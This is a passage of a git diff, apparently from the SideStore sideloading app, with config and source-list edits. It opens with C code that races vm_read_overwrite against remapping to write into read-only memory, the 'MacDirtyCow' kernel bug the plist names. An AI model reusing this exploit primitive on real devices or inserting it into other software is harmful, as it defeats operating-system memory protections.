T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
/* wait for racing thread to be ready to run */
|
||||
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
|
||||
|
||||
duration = 10; /* 10 seconds */
|
||||
T_LOG("Testing for %ld seconds...", duration);
|
||||
for (start = time(NULL), loops = 0;
|
||||
time(NULL) < start + duration;
|
||||
loops++) {
|
||||
/* reserve space for our 2 contiguous allocations */
|
||||
e2 = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
2 * ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||
|
||||
/* make 1st allocation in our reserved space */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||
/* initialize to 'B' */
|
||||
memset((char *)e2, 'B', ctx->obj_size);
|
||||
|
||||
/* map our read-only target memory right after */
|
||||
ctx->e0 = e2 + ctx->obj_size;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||
|
||||
/* let the racing thread go */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
|
||||
/* trigger copy_unaligned while racing with other thread */
|
||||
kr = vm_read_overwrite(mach_task_self(),
|
||||
e5,
|
||||
ctx->obj_size - 1 + overwrite_length,
|
||||
e2 + 1,
|
||||
&copied_size);
|
||||
T_QUIET;
|
||||
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||
"vm_read_overwrite kr %d", kr);
|
||||
switch (kr) {
|
||||
case KERN_SUCCESS:
|
||||
/* the target was RW */
|
||||
kern_success++;
|
||||
break;
|
||||
case KERN_PROTECTION_FAILURE:
|
||||
/* the target was RO */
|
||||
kern_protection_failure++;
|
||||
break;
|
||||
default:
|
||||
/* should not happen */
|
||||
kern_other++;
|
||||
break;
|
||||
}
|
||||
/* check that our read-only memory was not modified */
|
||||
#if 0
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
|
||||
#endif
|
||||
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||
|
||||
/* tell racing thread to stop toggling mappings */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
|
||||
/* clean up before next loop */
|
||||
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
|
||||
ctx->e0 = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
|
||||
e2 = 0;
|
||||
if (!is_still_equal) {
|
||||
retval = true;
|
||||
fprintf(stderr, "RO mapping was modified\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ctx->done = true;
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_join(th, NULL);
|
||||
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||
|
||||
#if 0
|
||||
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
kern_success, kern_protection_failure, kern_other);
|
||||
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
#endif
|
||||
return retval;
|
||||
}
|
||||
@@ -56,7 +56,7 @@ public extension Bundle
|
||||
public extension Bundle
|
||||
{
|
||||
static var baseAltStoreAppGroupID = "group." + Bundle.Info.appbundleIdentifier
|
||||
|
||||
|
||||
var appGroups: [String] {
|
||||
return self.infoDictionary?[Bundle.Info.appGroups] as? [String] ?? []
|
||||
}
|
||||
|
||||
212
SideStore copy-Info.plist
Normal file
212
SideStore copy-Info.plist
Normal file
@@ -0,0 +1,212 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>ALTAnisetteURL</key>
|
||||
<string>https://ani.sidestore.io</string>
|
||||
<key>ALTAppGroups</key>
|
||||
<array>
|
||||
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||
<string>group.com.SideStore.SideStore</string>
|
||||
</array>
|
||||
<key>ALTDeviceID</key>
|
||||
<string>00008101-000129D63698001E</string>
|
||||
<key>ALTPairingFile</key>
|
||||
<string><insert pairing file here></string>
|
||||
<key>ALTServerID</key>
|
||||
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
<key>CFBundleDocumentTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>CFBundleTypeName</key>
|
||||
<string>iOS App</string>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Viewer</string>
|
||||
<key>LSHandlerRank</key>
|
||||
<string>Alternate</string>
|
||||
<key>LSItemContentTypes</key>
|
||||
<array>
|
||||
<string>com.apple.itunes.ipa</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>$(EXECUTABLE_NAME)</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>$(PRODUCT_NAME)</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>$(MARKETING_VERSION)</string>
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Editor</string>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>AltStore General</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>altstore</string>
|
||||
<string>sidestore</string>
|
||||
</array>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Editor</string>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>AltStore Backup</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>altstore-com.rileytestut.AltStore</string>
|
||||
<string>sidestore-com.SideStore.SideStore</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>INIntentsSupported</key>
|
||||
<array>
|
||||
<string>RefreshAllIntent</string>
|
||||
<string>ViewAppIntent</string>
|
||||
</array>
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
<string>altstore-com.rileytestut.AltStore</string>
|
||||
<string>altstore-com.rileytestut.AltStore.Beta</string>
|
||||
<string>altstore-com.rileytestut.Delta</string>
|
||||
<string>altstore-com.rileytestut.Delta.Beta</string>
|
||||
<string>altstore-com.rileytestut.Delta.Lite</string>
|
||||
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
|
||||
<string>altstore-com.rileytestut.Clip</string>
|
||||
<string>altstore-com.rileytestut.Clip.Beta</string>
|
||||
</array>
|
||||
<key>LSRequiresIPhoneOS</key>
|
||||
<true/>
|
||||
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||
<true/>
|
||||
<key>NSAppTransportSecurity</key>
|
||||
<dict>
|
||||
<key>NSAllowsArbitraryLoads</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>NSAppleMusicUsageDescription</key>
|
||||
<string>SideStore needs this for MacDirtyCow</string>
|
||||
<key>NSBonjourServices</key>
|
||||
<array>
|
||||
<string>_altserver._tcp</string>
|
||||
</array>
|
||||
<key>NSLocalNetworkUsageDescription</key>
|
||||
<string>SideStore uses the local network to find and communicate with your device.</string>
|
||||
<key>NSUserActivityTypes</key>
|
||||
<array>
|
||||
<string>RefreshAllIntent</string>
|
||||
<string>ViewAppIntent</string>
|
||||
</array>
|
||||
<key>UIApplicationSceneManifest</key>
|
||||
<dict>
|
||||
<key>UIApplicationSupportsMultipleScenes</key>
|
||||
<true/>
|
||||
<key>UISceneConfigurations</key>
|
||||
<dict>
|
||||
<key>UIWindowSceneSessionRoleApplication</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UILaunchStoryboardName</key>
|
||||
<string>LaunchScreen</string>
|
||||
<key>UISceneConfigurationName</key>
|
||||
<string>Default Configuration</string>
|
||||
<key>UISceneDelegateClassName</key>
|
||||
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
|
||||
<key>UISceneStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>UIBackgroundModes</key>
|
||||
<array>
|
||||
<string>audio</string>
|
||||
<string>fetch</string>
|
||||
<string>remote-notification</string>
|
||||
</array>
|
||||
<key>UIFileSharingEnabled</key>
|
||||
<true/>
|
||||
<key>UILaunchStoryboardName</key>
|
||||
<string>LaunchScreen</string>
|
||||
<key>UIMainStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
<key>UIStatusBarTintParameters</key>
|
||||
<dict>
|
||||
<key>UINavigationBar</key>
|
||||
<dict>
|
||||
<key>Style</key>
|
||||
<string>UIBarStyleDefault</string>
|
||||
<key>Translucent</key>
|
||||
<false/>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>UISupportedInterfaceOrientations</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
</array>
|
||||
<key>UISupportedInterfaceOrientations~ipad</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
<string>UIInterfaceOrientationPortraitUpsideDown</string>
|
||||
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||
</array>
|
||||
<key>UTImportedTypeDeclarations</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UTTypeConformsTo</key>
|
||||
<array>
|
||||
<string>public.data</string>
|
||||
</array>
|
||||
<key>UTTypeDescription</key>
|
||||
<string>iOS App</string>
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.apple.itunes.ipa</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
<string>ipa</string>
|
||||
</dict>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UTTypeConformsTo</key>
|
||||
<array>
|
||||
<string>com.apple.plist</string>
|
||||
</array>
|
||||
<key>UTTypeDescription</key>
|
||||
<string>Mobile Device Pairing</string>
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>org.sidestore.mobiledevicepairing</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
<array>
|
||||
<string>mobiledevicepairing</string>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -24,10 +24,6 @@
|
||||
"identifier": "com.flyinghead.source",
|
||||
"sourceURL": "https://flyinghead.github.io/flycast-builds/altstore.json"
|
||||
},
|
||||
{
|
||||
"identifier": "com.emuplace.altstore",
|
||||
"sourceURL": "https://emuplace.app/altstore.json"
|
||||
},
|
||||
{
|
||||
"identifier": "dev.crystall1ne.repos.PojavLauncher",
|
||||
"sourceURL": "https://alt.crystall1ne.dev"
|
||||
@@ -46,7 +42,7 @@
|
||||
},
|
||||
{
|
||||
"identifier": "com.litritt.litsource",
|
||||
"sourceURL": "https://apps.litritt.com/"
|
||||
"sourceURL": "https://altstore.ignitedemulator.com/"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user